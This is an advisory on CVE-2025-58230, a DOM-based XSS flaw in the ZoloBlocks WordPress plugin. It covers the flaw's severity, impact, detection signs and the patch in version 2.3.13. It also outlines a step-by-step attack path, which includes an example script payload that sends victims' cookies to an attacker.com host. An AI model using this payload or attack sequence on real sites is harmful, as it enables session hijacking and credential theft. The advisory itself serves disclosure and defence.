CVE-2025-58230: 
WordPress vulnerability analysis and mitigation

CVE-2025-58230 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the bdthemes ZoloBlocks WordPress plugin. It affects all versions up to and including 2.3.12, and was disclosed on September 22, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically manifesting as DOM-Based XSS. An authenticated attacker with at least Contributor-level privileges can inject malicious scripts that are processed and executed within the victim's browser DOM without proper sanitization. Exploitation requires user interaction — a privileged user must perform an action such as visiting a crafted page or clicking a malicious link — and the scope is changed, meaning the injected script can affect resources beyond the vulnerable component (Patchstack, Red Hat CVE).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, or redirection to malicious sites. The changed scope means the impact can extend beyond the plugin itself to other parts of the WordPress site. Confidentiality, integrity, and availability impacts are each rated Low, reflecting limited but real risk to site visitors and administrators (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running ZoloBlocks plugin version 2.3.12 or earlier using tools like WPScan or Shodan.
2. Obtain low-privilege access: Register or obtain Contributor or Developer-level credentials on the target WordPress site.
3. Craft malicious payload: Prepare a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to be injected via a ZoloBlocks block parameter or input field that is unsafely rendered in the DOM.
4. Inject payload: Insert the malicious script into a vulnerable ZoloBlocks block or page element using the WordPress editor.
5. Trigger execution: Lure a privileged user (e.g., an administrator) to visit or preview the crafted page, causing the browser to execute the injected script in the DOM context.
6. Achieve objective: Harvest session cookies, perform actions as the victim, or redirect users to attacker-controlled infrastructure (Patchstack).

• Logs: WordPress access logs showing unusual POST or GET requests to pages containing ZoloBlocks blocks with encoded or obfuscated script content in parameters.
• File System: Unexpected modifications to ZoloBlocks plugin files or WordPress theme files that may indicate persistent script injection.
• Network: Outbound browser requests from victim machines to unknown external domains shortly after visiting pages with ZoloBlocks content, potentially indicating cookie or credential exfiltration.
• Browser/Application: Unexpected JavaScript errors or redirects reported by users visiting pages that use ZoloBlocks blocks.

The vulnerability is patched in ZoloBlocks version 2.3.13. Site administrators should update the plugin to version 2.3.13 or later immediately. If an immediate update is not possible, consider disabling the ZoloBlocks plugin until patching can be performed, or contact your hosting provider for assistance. Patchstack users can enable auto-update for vulnerable plugins to receive protection automatically (Patchstack).

The vulnerability was discovered and reported by security researcher Abu Hurayra and disclosed through Patchstack's Active VDP program on September 22, 2025. Patchstack classified the priority as Low, noting it is unlikely to be exploited in targeted attacks but may appear in mass-exploit campaigns. No significant broader media coverage or notable social media reactions have been identified (Patchstack).